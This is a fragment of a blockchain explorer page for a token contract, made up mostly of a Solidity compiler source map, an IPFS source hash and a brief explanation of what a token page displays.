;6324:17;6315:6;6271:71;:::i;:::-;6127:222;;;;:::o;6355:116::-;6425:21;6440:5;6425:21;:::i;:::-;6418:5;6415:32;6405:60;;6461:1;6458;6451:12;6405:60;6355:116;:::o;6477:133::-;6520:5;6558:6;6545:20;6536:29;;6574:30;6598:5;6574:30;:::i;:::-;6477:133;;;;:::o;6616:468::-;6681:6;6689;6738:2;6726:9;6717:7;6713:23;6709:32;6706:119;;;6744:79;;:::i;:::-;6706:119;6864:1;6889:53;6934:7;6925:6;6914:9;6910:22;6889:53;:::i;:::-;6879:63;;6835:117;6991:2;7017:50;7059:7;7050:6;7039:9;7035:22;7017:50;:::i;:::-;7007:60;;6962:115;6616:468;;;;;:::o;7090:474::-;7158:6;7166;7215:2;7203:9;7194:7;7190:23;7186:32;7183:119;;;7221:79;;:::i;:::-;7183:119;7341:1;7366:53;7411:7;7402:6;7391:9;7387:22;7366:53;:::i;:::-;7356:63;;7312:117;7468:2;7494:53;7539:7;7530:6;7519:9;7515:22;7494:53;:::i;:::-;7484:63;;7439:118;7090:474;;;;;:::o;7570:180::-;7618:77;7615:1;7608:88;7715:4;7712:1;7705:15;7739:4;7736:1;7729:15;7756:320;7800:6;7837:1;7831:4;7827:12;7817:22;;7884:1;7878:4;7874:12;7905:18;7895:81;;7961:4;7953:6;7949:17;7939:27;;7895:81;8023:2;8015:6;8012:14;7992:18;7989:38;7986:84;;8042:18;;:::i;:::-;7986:84;7807:269;7756:320;;;:::o;8082:176::-;8222:28;8218:1;8210:6;8206:14;8199:52;8082:176;:::o;8264:366::-;8406:3;8427:67;8491:2;8486:3;8427:67;:::i;:::-;8420:74;;8503:93;8592:3;8503:93;:::i;:::-;8621:2;8616:3;8612:12;8605:19;;8264:366;;;:::o;8636:419::-;8802:4;8840:2;8829:9;8825:18;8817:26;;8889:9;8883:4;8879:20;8875:1;8864:9;8860:17;8853:47;8917:131;9043:4;8917:131;:::i;:::-;8909:139;;8636:419;;;:::o;9061:177::-;9201:29;9197:1;9189:6;9185:14;9178:53;9061:177;:::o;9244:366::-;9386:3;9407:67;9471:2;9466:3;9407:67;:::i;:::-;9400:74;;9483:93;9572:3;9483:93;:::i;:::-;9601:2;9596:3;9592:12;9585:19;;9244:366;;;:::o;9616:419::-;9782:4;9820:2;9809:9;9805:18;9797:26;;9869:9;9863:4;9859:20;9855:1;9844:9;9840:17;9833:47;9897:131;10023:4;9897:131;:::i;:::-;9889:139;;9616:419;;;:::o;10041:332::-;10162:4;10200:2;10189:9;10185:18;10177:26;;10213:71;10281:1;10270:9;10266:17;10257:6;10213:71;:::i;:::-;10294:72;10362:2;10351:9;10347:18;10338:6;10294:72;:::i;:::-;10041:332;;;;;:::o;10379:170::-;10519:22;10515:1;10507:6;10503:14;10496:46;10379:170;:::o;10555:366::-;10697:3;10718:67;10782:2;10777:3;10718:67;:::i;:::-;10711:74;;10794:93;10883:3;10794:93;:::i;:::-;10912:2;10907:3;10903:12;10896:19;;10555:366;;;:::o;10927:419::-;11093:4;11131:2;11120:9;11116:18;11108:26;;11180:9;11174:4;11170:20;11166:1;11155:9;11151:17;11144:47;11208:131;11334:4;11208:131;:::i;:::-;11200:139;;10927:419;;;:::o;11352:172::-;11492:24;11488:1;11480:6;11476:14;11469:48;11352:172;:::o;11530:366::-;11672:3;11693:67;11757:2;11752:3;11693:67;:::i;:::-;11686:74;;11769:93;11858:3;11769:93;:::i;:::-;11887:2;11882:3;11878:12;11871:19;;11530:366;;;:::o;11902:419::-;12068:4;12106:2;12095:9;12091:18;12083:26;;12155:9;12149:4;12145:20;12141:1;12130:9;12126:17;12119:47;12183:131;12309:4;12183:131;:::i;:::-;12175:139;;11902:419;;;:::o;12327:175::-;12467:27;12463:1;12455:6;12451:14;12444:51;12327:175;:::o;12508:366::-;12650:3;12671:67;12735:2;12730:3;12671:67;:::i;:::-;12664:74;;12747:93;12836:3;12747:93;:::i;:::-;12865:2;12860:3;12856:12;12849:19;;12508:366;;;:::o;12880:419::-;13046:4;13084:2;13073:9;13069:18;13061:26;;13133:9;13127:4;13123:20;13119:1;13108:9;13104:17;13097:47;13161:131;13287:4;13161:131;:::i;:::-;13153:139;;12880:419;;;:::o;13305:175::-;13445:27;13441:1;13433:6;13429:14;13422:51;13305:175;:::o;13486:366::-;13628:3;13649:67;13713:2;13708:3;13649:67;:::i;:::-;13642:74;;13725:93;13814:3;13725:93;:::i;:::-;13843:2;13838:3;13834:12;13827:19;;13486:366;;;:::o;13858:419::-;14024:4;14062:2;14051:9;14047:18;14039:26;;14111:9;14105:4;14101:20;14097:1;14086:9;14082:17;14075:47;14139:131;14265:4;14139:131;:::i;:::-;14131:139;;13858:419;;;:::o;14283:222::-;14423:34;14419:1;14411:6;14407:14;14400:58;14492:5;14487:2;14479:6;14475:15;14468:30;14283:222;:::o;14511:366::-;14653:3;14674:67;14738:2;14733:3;14674:67;:::i;:::-;14667:74;;14750:93;14839:3;14750:93;:::i;:::-;14868:2;14863:3;14859:12;14852:19;;14511:366;;;:::o;14883:419::-;15049:4;15087:2;15076:9;15072:18;15064:26;;15136:9;15130:4;15126:20;15122:1;15111:9;15107:17;15100:47;15164:131;15290:4;15164:131;:::i;:::-;15156:139;;14883:419;;;:::o;15308:181::-;15448:33;15444:1;15436:6;15432:14;15425:57;15308:181;:::o;15495:366::-;15637:3;15658:67;15722:2;15717:3;15658:67;:::i;:::-;15651:74;;15734:93;15823:3;15734:93;:::i;:::-;15852:2;15847:3;15843:12;15836:19;;15495:366;;;:::o;15867:419::-;16033:4;16071:2;16060:9;16056:18;16048:26;;16120:9;16114:4;16110:20;16106:1;16095:9;16091:17;16084:47;16148:131;16274:4;16148:131;:::i;:::-;16140:139;;15867:419;;;:::o;16292:180::-;16340:77;16337:1;16330:88;16437:4;16434:1;16427:15;16461:4;16458:1;16451:15;16478:410;16518:7;16541:20;16559:1;16541:20;:::i;:::-;16536:25;;16575:20;16593:1;16575:20;:::i;:::-;16570:25;;16630:1;16627;16623:9;16652:30;16670:11;16652:30;:::i;:::-;16641:41;;16831:1;16822:7;16818:15;16815:1;16812:22;16792:1;16785:9;16765:83;16742:139;;16861:18;;:::i;:::-;16742:139;16526:362;16478:410;;;;:::o;16894:180::-;16942:77;16939:1;16932:88;17039:4;17036:1;17029:15;17063:4;17060:1;17053:15;17080:185;17120:1;17137:20;17155:1;17137:20;:::i;:::-;17132:25;;17171:20;17189:1;17171:20;:::i;:::-;17166:25;;17210:1;17200:35;;17215:18;;:::i;:::-;17200:35;17257:1;17254;17250:9;17245:14;;17080:185;;;;:::o;17271:173::-;17411:25;17407:1;17399:6;17395:14;17388:49;17271:173;:::o;17450:366::-;17592:3;17613:67;17677:2;17672:3;17613:67;:::i;:::-;17606:74;;17689:93;17778:3;17689:93;:::i;:::-;17807:2;17802:3;17798:12;17791:19;;17450:366;;;:::o;17822:419::-;17988:4;18026:2;18015:9;18011:18;18003:26;;18075:9;18069:4;18065:20;18061:1;18050:9;18046:17;18039:47;18103:131;18229:4;18103:131;:::i;:::-;18095:139;;17822:419;;;:::o;18247:166::-;18387:18;18383:1;18375:6;18371:14;18364:42;18247:166;:::o;18419:366::-;18561:3;18582:67;18646:2;18641:3;18582:67;:::i;:::-;18575:74;;18658:93;18747:3;18658:93;:::i;:::-;18776:2;18771:3;18767:12;18760:19;;18419:366;;;:::o;18791:419::-;18957:4;18995:2;18984:9;18980:18;18972:26;;19044:9;19038:4;19034:20;19030:1;19019:9;19015:17;19008:47;19072:131;19198:4;19072:131;:::i;:::-;19064:139;;18791:419;;;:::o;19216:170::-;19356:22;19352:1;19344:6;19340:14;19333:46;19216:170;:::o;19392:366::-;19534:3;19555:67;19619:2;19614:3;19555:67;:::i;:::-;19548:74;;19631:93;19720:3;19631:93;:::i;:::-;19749:2;19744:3;19740:12;19733:19;;19392:366;;;:::o;19764:419::-;19930:4;19968:2;19957:9;19953:18;19945:26;;20017:9;20011:4;20007:20;20003:1;19992:9;19988:17;19981:47;20045:131;20171:4;20045:131;:::i;:::-;20037:139;;19764:419;;;:::o;20189:194::-;20229:4;20249:20;20267:1;20249:20;:::i;:::-;20244:25;;20283:20;20301:1;20283:20;:::i;:::-;20278:25;;20327:1;20324;20320:9;20312:17;;20351:1;20345:4;20342:11;20339:37;;;20356:18;;:::i;:::-;20339:37;20189:194;;;;:::o;20389:191::-;20429:3;20448:20;20466:1;20448:20;:::i;:::-;20443:25;;20482:20;20500:1;20482:20;:::i;:::-;20477:25;;20525:1;20522;20518:9;20511:16;;20546:3;20543:1;20540:10;20537:36;;;20553:18;;:::i;:::-;20537:36;20389:191;;;;:::o;20586:167::-;20726:19;20722:1;20714:6;20710:14;20703:43;20586:167;:::o;20759:366::-;20901:3;20922:67;20986:2;20981:3;20922:67;:::i;:::-;20915:74;;20998:93;21087:3;20998:93;:::i;:::-;21116:2;21111:3;21107:12;21100:19;;20759:366;;;:::o;21131:419::-;21297:4;21335:2;21324:9;21320:18;21312:26;;21384:9;21378:4;21374:20;21370:1;21359:9;21355:17;21348:47;21412:131;21538:4;21412:131;:::i;:::-;21404:139;;21131:419;;;:::o;21556:167::-;21696:19;21692:1;21684:6;21680:14;21673:43;21556:167;:::o;21729:366::-;21871:3;21892:67;21956:2;21951:3;21892:67;:::i;:::-;21885:74;;21968:93;22057:3;21968:93;:::i;:::-;22086:2;22081:3;22077:12;22070:19;;21729:366;;;:::o;22101:419::-;22267:4;22305:2;22294:9;22290:18;22282:26;;22354:9;22348:4;22344:20;22340:1;22329:9;22325:17;22318:47;22382:131;22508:4;22382:131;:::i;:::-;22374:139;;22101:419;;;:::o
Swarm Source
ipfs://76336263c8b8d778fb80a842c1ee998fa5bd267207badbca7e050ab17a418dcf
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.